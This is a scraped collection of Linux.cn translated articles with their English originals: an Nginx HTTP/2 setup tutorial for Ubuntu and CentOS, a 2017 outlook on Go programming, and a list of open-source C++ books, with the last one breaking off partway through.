HTTP/2 是 HTTP 网络协议的主要修订版本,其专注于 HTTP 协议的性能改进。HTTP/2 协议的目标是减少延迟,并且允许在 Web 浏览器和服务器之间的一个连接上并行发起多个请求,因此 Web 应用程序会更快。在本篇教程中,我们将像你展示如何在安装有 Ubuntu 或 CentOS 作为操作系统的 Linux VPS 上使用开启 Nginx 的 HTTP/2 协议。如果你使用 Apache,你可以查看我们的另一篇教程:[如何在 Ubuntu 上开启 Apache 的 HTTP/2 协议](https://www.rosehosting.com/blog/how-to-set-up-apache-with-http2-support-on-ubuntu-16-04/)。
### 必备条件
为了能够按照本篇教程最终在服务器上启用 HTTP/2 协议,你需要先安装好 Nginx 。并且确保功能正常而且配置没有错误。你可以使用下面的命令来检查一下:
```
sudo nginx -t
```
此外,你需要有服务器的 root 访问权限,或者至少有一个具有 sudo 权限的非 root 系统用户,以便你在修改 Nginx 配置文件的时候不会出现权限问题。最后你需要有一个域名和一个颁发给这个域名的有效的 SSL 证书。
### 在 Ubuntu 上开启 Nginx 的 HTTP/2 协议
为了在 Ubuntu VPS 上开启 Nginx 的 HTTP/2 协议,你需要编辑默认的 Nginx 的服务(`server`)块,我们使用的是 `nano`,你可以使用你自己的文本编辑器。
```
sudo nano /etc/nginx/sites-available/default
```
增加下面的服务块:
```
server {
server_name domain.com www.domain.com;
listen 443 ssl http2 default_server;
root /var/www/html;
index index.html;
location / {
try_files $uri $uri/ =404;
}
ssl_certificate /etc/nginx/ssl/domain.com.crt;
ssl_certificate_key /etc/nginx/ssl/domain.com.key;
}
server {
listen 80;
server_name domain.com www.domain.com;
return 301 https://$server_name$request_uri;
}
```
确保 `domain.com` 替换成你真正的域名。 此外,应正确设置文档根(`root`)目录,还有 SSL 证书和密钥的路径。
当你编辑完成这个服务块之后,需要保存并关闭文件。使用以下命令检查 Nginx 配置是否有错误:
```
sudo nginx -t
```
为了刚刚的改变生效,需要重启 Nginx:
```
sudo systemctl restart nginx.service
```
如果你想为另一个域名开启 HTTP/2 协议,你可以查看我们的博客[如何在 Ubuntu 和 CentOS 上设置 Nginx 服务块](https://www.rosehosting.com/blog/how-to-set-up-nginx-server-blocks-on-ubuntu-and-centos/)。
### 在 CentOS 上开启 Nginx 的 HTTP/2 协议
为了在 CentOS VPS 开启 Nginx 的 HTTP/2 协议,你需要按照 Ubuntu 上完全相同的步骤做。唯一的不同点是 Nginx 块文件的位置。为了在 CentOS 上编辑默认的 Nginx 服务块,你需要进入 `/etc/nginx/conf.d` 这个文件夹。
```
# nano /etc/nginx/conf.d/default.conf
```
再次检查配置是否有错误,保存并关闭文件,然后使用以下命令重新启动 Nginx 服务:
```
# systemctl restart nginx.service
```
为了检测 Nginx 的 HTTP/2 协议是否开启成功,你可以使用一些[在线 HTTP/2 检测工具](https://www.rosehosting.com/network-tools/http2-support.html)。
---
via: <https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/>
作者:[rosehosting.com](https://www.rosehosting.com/blog/how-to-enable-http2-in-nginx-on-ubuntu-and-centos/) 译者:[Flowsnow](https://github.com/Flowsnow) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | QWe’ll show you, how to enable HTTP/2 in Nginx on Ubuntu and CentOS. HTTP/2 is a major revision of the HTTP network protocol and it focuses on performance improvements. Its goal is to reduce the latency as well as to make the web applications faster by allowing multiple concurrent requests between the web browser and the server across a single TCP connection. In this tutorial, we are going to show you how to enable HTTP/2 in Nginx on a Linux VPS using Ubuntu or CentOS as an operating system. If you use Apache, you can check our tutorial on [how to enable HTTP/2 in Apache on Ubuntu](https://www.rosehosting.com/blog/how-to-set-up-apache-with-http2-support-on-ubuntu-16-04/).
Table of Contents
## Prerequisites
In order to be able to follow the instructions and enable HTTP/2 on your server, you need to have [Nginx](https://www.rosehosting.com/nginx-hosting.html) already preinstalled. Make sure that it is functional and there are no errors with its configuration. You can check this using the command below:
sudo nginx -t
Additionally, you need to have root access to the server or at least you need to have a non-root system user with sudo privileges so you can make changes in the Nginx configuration files without having permission problems. Finally, you need to have a [domain name](https://secure.rosehosting.com/clientarea/index.php?/checkdomain/domain-registration/) and valid [SSL certificate](https://www.rosehosting.com/ssl-certificates.html) issued for the domain name.
## Enable HTTP/2 in Nginx on Ubuntu
To enable HTTP/2 in Nginx on an [Ubuntu VPS](https://www.rosehosting.com/ubuntu-hosting.html) you should edit the default Nginx server block. We will use `nano`
but you can use a text editor of your choice.
sudo nano /etc/nginx/sites-available/default
Add the following server block:
server { server_name domain.com www.domain.com; listen 443 ssl http2 default_server; root /var/www/html; index index.html; location / { try_files $uri $uri/ =404; } ssl_certificate /etc/nginx/ssl/domain.com.crt; ssl_certificate_key /etc/nginx/ssl/domain.com.key; } server { listen 80; server_name domain.com www.domain.com; return 301 https://$server_name$request_uri; }
Make sure that `domain.com`
is replaced with your real domain name. Additionally, the document root and the path to the SSL certificate and key should be correctly set.
Once you finish with editing the server block, save and close the file. Check if there are errors in the Nginx configuration using the command:
sudo nginx -t
And then restart Nginx for the changes to take effect
sudo systemctl restart nginx.service
If you’d like to enable HTTP/2 for another domain name, you can check our blog post on [how to set up Nginx server blocks on Ubuntu and CentOS](https://www.rosehosting.com/blog/how-to-set-up-nginx-server-blocks-on-ubuntu-and-centos/).
## Enable HTTP/2 in Nginx on CentOS
To enable HTTP/2 on a [CentOS VPS](https://www.rosehosting.com/centos-hosting.html) you need to follow the exact same steps as on Ubuntu. The location of the Nginx block file is the only difference. To edit the default Nginx server block on CentOS you should look into the `/etc/nginx/conf.d`
directory.
# nano /etc/nginx/conf.d/default.conf
Once again, check if there are errors with the configuration, save and close the file, then restart the Nginx service using the command below:
# systemctl restart nginx.service
To check whether HTTP/2 is enabled in Nginx you can use some [online HTTP/2 checker tool](https://www.rosehosting.com/network-tools/http2-support.html).
Of course you don’t have to enable HTTP/2 in Nginx on Ubuntu and CentOS, if you use one of our [Nginx VPS hosting](https://www.rosehosting.com/nginx-hosting.html) services, in which case you can simply ask our expert Linux admins to to enable HTTP/2 in Nginx on Ubuntu and CentOS, on your server. They are available 24×7 and will take care of your request immediately.
PS. If you liked this post, on how to enable HTTP/2 in Nginx on Ubuntu and CentOS, please share it with your friends on the social networks using the buttons below or simply leave a comment. Thanks.
Hello,
Thanks for sharing such an amazing and helpful post. HTTP/2 is more essential for every site.
ReplyThanks for the tip.
ReplyHow can I enable on all sites at one? |
8,249 | 2017 年 Go 语言编程的五大关注点 | https://medium.com/@sconant/5-things-to-watch-in-go-programming-in-2017-39cd7a7e58e3#.8t4to5jr1 | 2017-02-28T17:32:25 | [
"Go",
"Serverless",
"HTTP/2"
] | https://linux.cn/article-8249-1.html | ### 今年像动态插件,Serverless Go 以及 HTTP/2 这些创新对你的开发意味着什么?
Go 1.8 刚刚发布,它有几个新功能,包括:
* [HTTP/2 Push](https://golang.org/doc/go1.8#h2push)
* [HTTP 服务器平滑关闭](https://golang.org/doc/go1.8#http_shutdown)
* [插件](https://golang.org/doc/go1.8#plugin)
* [缺省 GOPATH](https://golang.org/doc/go1.8#gopath)
这些新功能的影响力取决于你和开发团队如何使用 Go。 自从 Go 1.0 于 2012 年发布以来,其简单性、并发性和内置支持使其保持[普及度](https://github.com/golang/go/wiki/GoUsers)不断增长,所以对“Go 擅长什么”的答案一直在增长。

这里我会提供一些想法,包括新到来的版本及 Go 世界最近其它吸引我的地方。这不是一个详尽的列表,所以请[让我知道](https://twitter.com/SuConant)你认为在 2017 年 Go 还会发生哪些重要的事。
### Go 的超级可部署性 + 插件 = 容器、任何东西?
[1.8 版本](https://golang.org/doc/go1.8)已经发布,我已经与其中几个人交谈过添加动态插件会如何影响像容器之类的事物,动态插件是为了加载在编译时不是程序一部分的共享库的代码。 动态插件使容器中的高并发微服务变得更加简单。 你可以轻松地以外部进程的方式加载插件,同时具备在容器中微服务的所有好处:保护你的主进程不会崩溃,并且没有任何东西会搞乱你的内存空间。 对插件的动态支持应该是在 Go 中使用容器的福音。
*关于专家现场 Go 培训,请注册 *[Go Beyond the Basics](https://www.safaribooksonline.com/live-training/courses/go-beyond-the-basics/0636920065357/)*。*
### 跨平台支持仍在吸引开发人员
在 Go 开源之后的 7 年里,它已被全球采用。[Daniel Whitenack](https://www.oreilly.com/people/1ea0c-daniel-whitenack) 是一名数据科学家和工程师,他为 Jupyter 维护 Go 内核,告诉我最近他[在西伯利亚做数据科学和 Go 语言培训](https://devfest.gdg.org.ru/en/),(是的,在西伯利亚!数据科学和 Go - 之后再细讲一下...)并 “很惊讶地看到那里 Go 社区是如此活跃和积极。” 人们继续在项目中采取 Go 的另一个很大的原因是交叉编译,对此,几个 Go 专家解释说[这在 Go 1.5 版本中变得更容易了](https://medium.com/@rakyll/go-1-5-cross-compilation-488092ba44ec#.7s7sxmc4h)。来自其他语言(如 Python)的开发人员应该发现,在没有 VM 的目标平台上,能够为多个操作系统构建捆绑的、可部署的应用程序是在 Go 中工作的关键。
在 1.8 版本中对跨平台的支持,再加上[提升了 15% 的编译速度](https://golang.org/doc/go1.8#compiler),你就可以看到为什么 Go 是初创公司最喜欢的语言。
*有兴趣了解 Go 的基础知识吗?查看 [Go 基础学习路径](http://shop.oreilly.com/category/learning-path/go-fundamentals.do) 让 O’Reilly 专家来带你开始。*
### Go 解释器在开发中;再见 Read-Eval-Print-Loop
有一些聪明的家伙正在做一个 [Go 解释器](https://github.com/go-interpreter),我一定会持续关注它。如你所知的那样,有几个 Read-Eval-Print-Loop(REPL)的解决方案可以用来评估表达式,以确保代码如你预期的工作,但那些方法通常意味着容忍一些不便,或需要费力从几个方案中找到一个适合你的用例的。有一个健壮、一致的解释器就太好了,一旦我了解到更多消息,我会告诉你们。
*在开发中使用 Go 复杂特性?观看 O'Reilly 的视频训练 [中级 Go](http://shop.oreilly.com/product/0636920047513.do)* 。
### Go 的 serverless - 会是什么样子?
是的,现在围绕 serverless 架构(功能即服务(FaaS))有很多炒作。但有时候也有些捉摸不定的地方,那么关于 Go 的 serverless 发生了什么?我们能在今年看到一个 Go 语言原生支持的 serverless 服务么?
AWS Lambda 是最知名的 serverless 提供商,不过 Google 最近也推出了 [Google Cloud Functions](https://cloud.google.com/functions/docs/)。这两个 FaaS 解决方案使你可以在无须管理服务器的情况下运行代码,你的代码存储在别人为你管理的服务器集群上,并且仅在触发事件调用它时运行。AWS Lambda 目前支持 JavaScript、Python 和 Java,还可以启动 Go、Ruby 和 bash 进程。 Google Cloud Functions 只支持 JavaScript,但很可能不久将支持 Java 和 Python。许多物联网设备已经使用 serverless 方案,随着 Go 越来越多地被创业公司采用,serverless 似乎是一个可能的增长点,所以我在关注这些 serverless 解决方案中 Go 的开发情况。
已经有[几个框架](https://github.com/SerifAndSemaphore/go-serverless-list)可以支持 AWS Lambdas:
* [λ Gordon](https://github.com/jorgebastida/gordon) - 使用 CloudFormation 创建、连接及部署 AWS Lambdas
* [Apex](https://github.com/apex/apex) - 构建、部署及管理 AWS Lambda 函数
* [Sparta](http://gosparta.io/) - AWS Lambda 微服务的 Go 框架
还有一个 AWS Lambda 替代品支持 Go:
* [Iron.io](https://www.iron.io/):建立在 Docker 和 Go 之上;语言未知;支持 Golang、Python、Ruby、PHP 和 .NET
*有关 serverless 架构的更多信息,请观看 Mike Roberts 在旧金山 O'Reilly 软件架构会议上的演讲主题:[*serverless介绍*](https://www.safaribooksonline.com/library/view/oreilly-software-architecture/9781491976142/video288473.html?utm_source=oreilly&utm_medium=newsite&utm_campaign=5-things-to-watch-in-go-programming-body-text-cta)。*
### 数据科学中的 Go
我在本文开头暗示了这一点:也许令人惊讶的是很多人都在使用 Go 进行数据科学和机器学习。关于它是否适合还有一些争论,但基于像 《[Gopher 学院之 2016 年终](https://blog.gopheracademy.com/series/advent-2016/)》那样的年度文章中,你会注意到 30 篇文章中至少有 4 篇是关于机器学习或分布式数据处理,它们正在像我们走来。
我之前关于 Go 的易部署性的观点可能是数据科学家使用 Go 的一个关键原因:他们可以更轻松地在易读而可用于生产环境的应用程序中向他人展示数据模型。与此相结合的是 Go 的广泛使用(正如我前面提到的,它正变得越来越流行!),而且有数据专家创建“可用并且与其它程序配合”的程序。任何使用 Go 构建的应用数据科学家会在公司其他部分使用相同的语言,或者至少它非常适合现代架构。
*更多关于 Go 的数据科学,Daniel Whitenack 写了一个很好的概述,解释了如何使用它: [Data Science Gophers](https://www.oreilly.com/ideas/data-science-gophers)。*
---
作者简介:
O'Reilly Media 的监督编辑,与编辑团队合作,涵盖各种各样的编程主题。
---
via: <https://medium.com/@sconant/5-things-to-watch-in-go-programming-in-2017-39cd7a7e58e3#.8t4to5jr1>
作者:[Susan Conant](https://medium.com/@sconant?source=footer_card) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,250 | 助你掌握 C++ 编程的九本开源书籍 | https://www.ossblog.org/master-c-programming-with-open-source-books/ | 2017-03-01T10:43:00 | [
"编程",
"书籍",
"C++"
] | https://linux.cn/article-8250-1.html | 书籍是非常主观和私人的财产,编程书籍也不例外。但是不管 C++ 编程书籍的风格、关注点或者节奏如何,好书总可以带领读者走过一段引人入胜的旅程,揭示编程语言的能力,还能向读者描绘如何使用编程语言来实现各种事物。

分享是一种美德,我精心挑选了九本值得一读的优质 C++ 书籍,这些书籍均基于开源协议发布。在这之前,我会给出一份 C++ 的简短介绍。
C++ 是由 Bjarne Stroustrup 设计,初次发布于 1983 年。它是一种静态类型、格式自由、多重范式、可移植、编译式的通用编程语言。它被认为是中级语言,同时包含有高级与初级编程语言的特性。C++ 设计用于实现系统级与应用的编程,它拓展了 C 编程语言,因此其名字中的使用了自增运算符 ++。
C++ 仍是一种流行的编程语言。例如,它被广泛应用于嵌入式系统、银行以及通讯业。它作为 C 的超集保留了 C 标志性的简洁与高效,同时提供强类型检查、多重继承、数据抽象、异常处理操作符重载、泛型编程,以及面向对象编程等功能。C++ 不仅影响了 C 语言的发展,同时也影响到了包括 C#、Java 在内的许多其他编程语言。
### 《<ruby> Boost C++ 类库 <rp> ( </rp> <rt> The Boost C++ Libraries </rt> <rp> ) </rp></ruby>》

作者 Boris Schäling (570页)
《<ruby> <a href="https://theboostcpplibraries.com/"> Boost C++ 类库 </a> <rp> ( </rp> <rt> The Boost C++ Libraries </rt> <rp> ) </rp></ruby>》被认为在 C++ 世界中极其重要并有深远影响。书中这些可移植的库提供对多种任务和结构体的支持,包括多线程、容器、字符串和文本处理、迭代器、线性代数、伪随机数产生、元程序设计模板、并发程序设计、数据结构、图像处理、正则表达式和单元测试。Boost 可以在几乎所有现代操作系统上工作,包括 Linux 和 Windows 及其衍生,并且支持绝大多数现代编译器。
这本书介绍了 72 个 Boost 库,提供了广泛并且实用的功能。它们能够帮助程序员更轻松的管理内存和处理字符串。这些库提供多种容器以及其它数据结构来拓展标准库。使用这些库可以轻松实现平台无关的网络应用程序。
本书是一颗值得添加到各类收藏中的明珠。430 份源代码例子生动形象地阐释了这些库的功能。
本书前面的章节审视了内存管理、字符串处理、容器、数据结构、算法、通信、文件与流以及时间。后续章节进一步探索了函数式编程、并行编程和泛型编程。以对语言拓展、错误与数字处理、应用程序库、设计模式以及其他库的大部分内容。
本书采用[知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/)进行许可。如果你喜欢实体书,可以在亚马逊上购买纸质书,也可选择如 kindle、E-book 和 PD F格式的电子书。
### 《<ruby> C++ 注释 <rp> ( </rp> <rt> C++ Annotations </rt> <rp> ) </rp></ruby>》

作者 Frank B. Brokken (1029页)
《<ruby> <a href="http://www.icce.rug.nl/documents/cplusplus/"> C++ 注释 </a> <rp> ( </rp> <rt> C++ Annotations </rt> <rp> ) </rp></ruby>》提供了关于 C++ 编程语言的一份全面的教程。它可以被当做一门 C++ 课程的教材。本书面向已掌握 C 语言或其他类 C 语法知识的使用者。
本书主要章节有:
* 命名空间
* 字符串——C 提供的是最基础的字符串支持
* I/O 流库——提供了一个基于类概念的输入/输出库
* 类——C 提供了两种结构化不同类型数据的方法。C 语言的结构体包含多种类型的数据成员,而 C 语言的<ruby> 共用体 <rp> ( </rp> <rt> union </rt> <rp> ) </rp></ruby>同样可以定义不同类型的数据成员。本章介绍的类,也是一种结构体但是它的内容对外部世界来说是默认不可访问的。
* 静态数据和函数
* 内存管理——审视 C++ 中能够操作内存分配的操作符
* 异常——允许 C++ 程序执行受控的非本地返回命令,避免了使用 longjmp(非局部跳转)和 setjmp(激活非局部跳转)函数的缺陷。
* 操作符重载——介绍通用的操作符重载
* 抽象容器
* 继承——派生的另外一个特性。 本章演示基类指针可能被用来指向派生类的对象。
* 多态——继承的一种特殊形态
* 友元机制——介绍 friend 关键词以及它的使用原则
* 成员指针——定义成员指针及其用法,静态成员指针,指针长度
* 嵌套类——当嵌套类与其外围类有概念上的紧密联系时会被使用
* 标准模板库(STL)——包含容器、通用算法、迭代器、函数对象、分配器、适配器和数据结构的通用库。这些算法使用的数据结构都是抽象意义的,因此算法实际上可以使用任何数据类型。
* 泛型算法——涵盖标准模板库中的泛型算法
* 函数模板——探索模板独特的句法。介绍模板类型参数与模板非类型参数和函数模板等概念并且提供模板的多个案例。
* 类模板——讨论构建与使用类模板
* 进阶模板用法——一份简短的模板元编程主要特性与模板的微妙关系的介绍
本书有HTML、PDF、PostScript 和 txt 版本。它可以自由分发,基于 GNU GPL 协议发布。
### 《<ruby> 通过 C++ 和 Qt4 了解设计模式 <rp> ( </rp> <rt> An Introduction to Design Patterns in C++ with Qt 4 </rt> <rp> ) </rp></ruby>》

作者 Alan Ezust, Paul Ezust (656页)
《<ruby> <a href="http://www.informit.com/store/introduction-to-design-patterns-in-c-plus-plus-with-9780131879058"> 通过 C++ 和 Qt4 了解设计模式 </a> <rp> ( </rp> <rt> An Introduction to Design Patterns in C++ with Qt 4 </rt> <rp> ) </rp></ruby>》从介绍 C++ 基础知识、面向对象概念、UML(统一建模语言)和核心 Qt 类开始。进而转向更高级的编程概念如 Qt modules 和设计模式。最后严密地印证了重要的 C++ 特性。其中涵盖了非常优秀的对函数、继承和多态的讲解。
本书不需要具备任何 C 或者 C++ 编程经验前提,并且被设计为普适用途。它也为教学工作者准备了 Qt 案例、练习、答案以及课程 PPT。
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0 及其后版本发布的。
### 《<ruby> 像计算机科学家一样思考:C++ <rp> ( </rp> <rt> How to Think Like a Computer Scientist: C++ </rt> <rp> ) </rp></ruby>》

作者 Allen B. Downey (191页)
《<ruby> <a href="http://greenteapress.com/thinkcpp/index.html"> 像计算机科学家一样思考:C++ </a> <rp> ( </rp> <rt> How to Think Like a Computer Scientist: C++ </rt> <rp> ) </rp></ruby>》是使用 C++ 编程语言进行软件设计的一本简洁友好的介绍性书籍。本书的目的是通过讲解最基础的概念并且以读者容易接受的节奏逐步增加新内容来把没有编程经验的读者培养成为未来的开发者。
本书提供的有价值的内容包括:
* 变量、表达式和语句
* 函数
* 条件语句与递归
* 丰富的函数
* 迭代
* 字符串
* 向量
* 成员函数
* 对象的向量
* 向量的对象
* 类与不变量
* 文件输入输出和 apmatrixes
本书是一本在[知识共享署名-非商业性使用-3.0 未本地化版本](https://creativecommons.org/licenses/by-nc/3.0/)协议下发布的免费书籍。
### 《<ruby> C++ Qt3 图形界面编程 <rp> ( </rp> <rt> C++ GUI Programming with Qt 3 </rt> <rp> ) </rp></ruby>》

作者 Jasmin Blanchette, Mark Summerfield (464 页)
最新发布的 Qt 稳定版本是 5.8,而《<ruby> <a href="http://www.informit.com/store/c-plus-plus-gui-programming-with-qt-3-9780131240728"> C++ Qt3 图形界面编程 </a> <rp> ( </rp> <rt> C++ GUI Programming with Qt 3 </rt> <rp> ) </rp></ruby>》指导读者如何使用 Qt3 编写 GUI 程序,Qt3 最近一次更新是 2004 年,但是本书仍然有大部分内容对 Qt4 和 Qt5 有效。
本书不是一本面向初学者的书,需要读者对 C++ 有基本的理解。
本书向读者介绍了使用 Qt 进行 GUI 应用编程所有的概念和需要的练习。本书不仅详尽的讲述了核心内容,而且也提供了一些特别的和高阶的学习材料。
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0及之后版本发布的。
### 《<ruby> 开放数据结构(C++ 版) <rp> ( </rp> <rt> Open Data Structures (in C++) </rt> <rp> ) </rp></ruby>》

作者 Pat Morin (336页)
《<ruby> <a href="http://opendatastructures.org/ods-cpp/"> 开放数据结构(C++ 版) </a> <rp> ( </rp> <rt> Open Data Structures (in C++) </rt> <rp> ) </rp></ruby>》教导读者设计和分析基础数据结构以及如何使用 C++ 实现。 它涵盖了对如下数据结构的分析和实现:序列(列表)、队列、优先队列、无序字典、有序字典以及图。作者的意图在于向大学计算机科学的学生提供一条学习数据结构的免费的途径,但是并不打算成为介绍 C++ 编程语言或者 C++ 标准模板库的一本书。不过它可以帮助程序员理解标准模板库的数据结构是如何实现的以及这种实现为何如此高效。
章节内容覆盖了基于数组的列表、链表、分级链表、哈希表、二叉树(又包含了随机二叉搜索树、替罪羊树、红黑树)。之后的章节还包括堆、排序算法(比较、计数和基数排序)、图、整数的数据结构和外部存储器搜索。
本书基于[知识共享署名](http://creativecommons.org/licenses/by/4.0/) 协议发布。免费的 HTML、PDF 均已发布,本书的 LaTeX 版本,Java/C++/Python 源代码都可以从 GitHub 下载。也有纸质书版本可供购买。本书已被翻译为斯罗维尼亚语和土耳其语。
### 《<ruby> 使用 wxWidgets 进行跨平台 GUI 编程 <rp> ( </rp> <rt> Cross-Platform GUI Programming with wxWidgets </rt> <rp> ) </rp></ruby>》

作者 Julian Smart,Kevin Hock和Stefan CsomorBrifll (744 页)
wxWidgets 是一个流行的 C++ 库,可供开发者使用单一的代码基础为 Windosw、Mac OS、Linux 和其他平台创建应用。它支持非常广泛的图形处理库。
这本书《<ruby> <a href="http://www.informit.com/store/cross-platform-gui-programming-with-wxwidgets-9780131473812"> 使用 wxWidgets 进行跨平台 GUI 编程 </a> <rp> ( </rp> <rt> Cross-Platform GUI Programming with wxWidgets </rt> <rp> ) </rp></ruby>》从简单的介绍和起步章节开始,主要内容包括:
* 事件处理
* 窗口基础
* 画图
* 输入事件处理
* 使用 sizers 进行窗口布局
* 使用标准对话框
* 创建自定义对话框
* 图像编程
* 剪贴板与拖放动作
* 高阶窗口类
* 文件和数据流
* 内存管理,调试和错误检查
* 编写国际化应用
* 编写多线程应用
* wxSocket 编程
* 处理文档和视图
* 日臻完美你的应用
本书是 Bruce Perens 开源系列中的一部分。所有在此系列中的书籍都是基于 Open Publication License V1.0及其后版本发布的。
### 《<ruby> Rook 的 C++ 指南 <rp> ( </rp> <rt> The Rook’s Guide to C++ </rt> <rp> ) </rp></ruby>》

作者 Jeremy Hansen (160页)
《<ruby> <a href="https://rooksguide.org/"> Rook 的 C++ 指南 </a> <rp> ( </rp> <rt> The Rook’s Guide to C++ </rt> <rp> ) </rp></ruby>》的章节中包含变量、常量、输入输出、数据类型和转换、条件判断语句(if、else 和 else if、switch 语句)、字符串、循环、数组、块、函数和作用域。之后的章节主要集中解决问题和定位问题,包括预处理器、高等代数、文件输入输出、指针、动态数据、类和抽象、分离编译和标准模板库。
本书大部分都是由 25 位 Norwich 大学的学生于一个黑客马拉松周末写成。当然不敢说毫无缺点,但还是一本相当不错的书。它被基于[知识共享署名-非商业性使用-相同方式共享 3.0 未本地化版本](https://creativecommons.org/licenses/by-nc-sa/3.0/deed.zh)协议发布。同时在亚马逊也有本书的纸质版可供购买。
### 《<ruby> GCC 简介 <rp> ( </rp> <rt> An Introduction to GCC </rt> <rp> ) </rp></ruby>》

作者 Brian Gough (144页)
《<ruby> <a href="http://www.network-theory.co.uk/docs/gccintro/"> GCC 简介 </a> <rp> ( </rp> <rt> An Introduction to GCC </rt> <rp> ) </rp></ruby>》介绍了 GCC,同时介绍了 GNU C 和 C++ 编译器:gcc 和 g++,均属于 GNU 编译器集合(GCC)。
本书解释了如何单独使用编译器。作者通过数年对邮件列表中发表的问题的观察,撰写本书带领读者直接接触 GCC 最重要的部分。
章节简介:
* 介绍
* 编译一个 C 程序——描述了如何使用 gcc 编译 C 程序。程序可能是由单独文件或者多个文件编译而成,也可能使用系统库和头文件。
* 编译选项——描述gcc中可以使用的编译器中常用的选项。这些选项可以修改本地库和包含文件的搜索路径,配置额外的 warning 和调试信息,预处理器宏指令和 C 方言。
* 使用预处理——描述了属于 GCC 包内的 GNU C 预处理 cpp 程序的用途。预处理将宏定义在源代码被编译前展开。预处理会在 GCC 编译 C 或者 C++ 程序时自动被调用。
* 以调试为目的编译——提供 -g 选项使目标文件和可执行文件中存储额外的调试信息。当出现错误时,这些调试信息允许从特定的机器指令回溯到源代码中相应的行。
* 优化编译——GCC 是一个优化编译器。它提供了大量的选项来使其生成的可执行文件的速度得到提升,并尽量减小可执行文件的大小。
* 编译一个 C++ 程序——描述了如何使用 GCC 来编译以 C++ 编写的程序,以及针对这门语言特定的命令行选项。
* 平台相关的选项——描述了一些通用平台上可用的选项,如 Intel 和 AMD x86 选项、x86 拓展选项、x86 64 位处理器选项、DEC Alpha 选项、SPARC 选项、POWER/powerPC 选项、复合架构支持以及浮点相关问题。
* 问题定位——GCC 提供了几项帮助和诊断选项来帮助用户在编译过程中定位问题。
* 编译器相关工具——介绍了大量能够用于和 GCC 组合使用的工具。包括:用来创建库的 GNU 压缩器 ar,以及 GNU 性能和覆盖测试工具:gprof 和 gcov。
* 编译器如何工作——描述了关于 GCC 如何将源代码转换为可执行程序的更多细节。编译是一个涉及到多种工具的多级过程,包括 GNU 编译器自身(通过 gcc 或者 g++ 前端)、GNU 汇编器 as 以及 GNU 链接器 ld。编译过程中一个完整的工具集合被称之为工具链。
* 检查编译后的文件——描述了多种有用的工具来检查可执行文件和目标文件的内容。
* 常见错误消息——描述了 gcc 和 g++ 产生的最常见的错误和警告信息。每一个案例都伴随着错误和警告产生的原因,相应的例子和可能解决问题的建议。
* 获得帮助——如果读者碰到了本书中未能涵盖的问题,还有多种参考手册更详细的描述了 GCC 和编程语言相关的主题。
本书是基于 GNU Free Documentation 协议出版的。
此外还有一些 C++ 书籍可以免费下载,但是那些并不是基于开源协议发布的,或者作者没有指定一个协议。这类书籍包括:
* 《[Thinking in C++,第二版,卷一、卷二](http://mindview.net/Books/TICPP/ThinkingInCPP2e.html)》 – 作者 Bruce Eckel (卷二作者增加了 Chuck Allison)
* 《[C++ In Action:Industrial Strength Programming](http://www.relisoft.com/book/)》– 作者 Bartosz Milewski
最后,我对刚入门的 C++ 新手的建议一定是《<ruby> <a href="http://stroustrup.com/Programming/"> 编程原理与体验(C++ 版) </a> <rp> ( </rp> <rt> Programming — Principles and Practice Using C++ </rt> <rp> ) </rp></ruby> [(第二版)](http://stroustrup.com/Programming/)》。普遍认为这是最合适的入门书籍,由 C++ 的创始人书写,物超所值。
---
via: <https://www.ossblog.org/master-c-programming-with-open-source-books/>
作者:[Steve Emms](https://www.ossblog.org/author/steve/) 译者:[xiaow6](https://github.com/xiaow6) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK |  |
By Boris Schäling (570 pages)
The Boost C++ libraries are regarded as important and influential in the C++ world. These portable libraries provide support for tasks and structures such as multithreading, containers, string and text processing, iterators, linear algebra, pseudo-random number generation, template metaprogramming, concurrent programming, data structures, image processing, regular expressions, and unit testing. Boost works on almost any modern operating system, including Linux and Windows variants, and supports most modern compilers.
This book introduces 72 Boost libraries that provide a wide range of useful capabilities. They help programmers manage memory and process strings more easily. The libraries provide containers and other data structures that extend the standard library. They make it easy to build platform-independent network applications.
This is a gem to add to any collection. The 430 code examples illustrate the libraries’ capabilities well.
Chapters examine memory management, string handling, containers, data structures, algorithms, communication, streams and files, and time. Later chapters proceed to explore functional, parallel and generic programming. The book closes with masterly coverage on language extensions, error and number handling, application libraries, design patterns, and other libraries.
Boost C++ Libraries is released under the Creative Commons Attribution – NonCommercial – NoDerivatives 4.0 International License. There is a print version to buy on Amazon if you like to carry books around. Electronic version are also available to purchase in Kindle, E-book, and PDF formats. |
 |
By Frank B. Brokken (1029 pages)
The C++ Annotations offers an extensive tutorial about the C++ programming language. It can be used as a textbook for C++ programming courses. The C++ Annotations is intended for knowledgeable users of C or a language that uses a C-like grammar.
Chapters include:
- Name Spaces
- Strings – C offers rudimentary string support
- IO-stream Library – offers an input/output (I/O) library based on class concepts
- Classes – C offers two methods for structuring data of different types. The C struct holds data members of various types, and the C union also defines data members of various types. This chapter introduces classes, a kind of struct but its contents are by default inaccessible to the outside world
- Static Data and Functions
- Memory Management – examines the operators that handle memory allocation in C++
- Exceptions – allow C++ programs to perform a controlled non-local return, without the disadvantages of longjmp and setjmp
- Operator Overloading – takes a look at operator overloading in general
- Abstract Containers
- Inheritance – another term for derivation. The chapter shows that base class pointers may be used to point to derived class objects
- Polymorphism – a special form of inheritance
- Friends – introduces the friend keyword and the principles that underly its use
- Pointers to Members – defining pointers to members, using pointers to members, pointers to static members, and pointer sizes
- Nested Classes – used in situations where the nested class has a close conceptual relationship to its surrounding class
- Standard Template Library (STL) – a general purpose library consisting of containers, generic algorithms, iterators, function objects, allocators, adaptors and data structures. The data structures used by the algorithms are abstract in the sense that the algorithms can be used with (practically) any data type
- Generic Algorithms – cover the STL’s generic algorithms
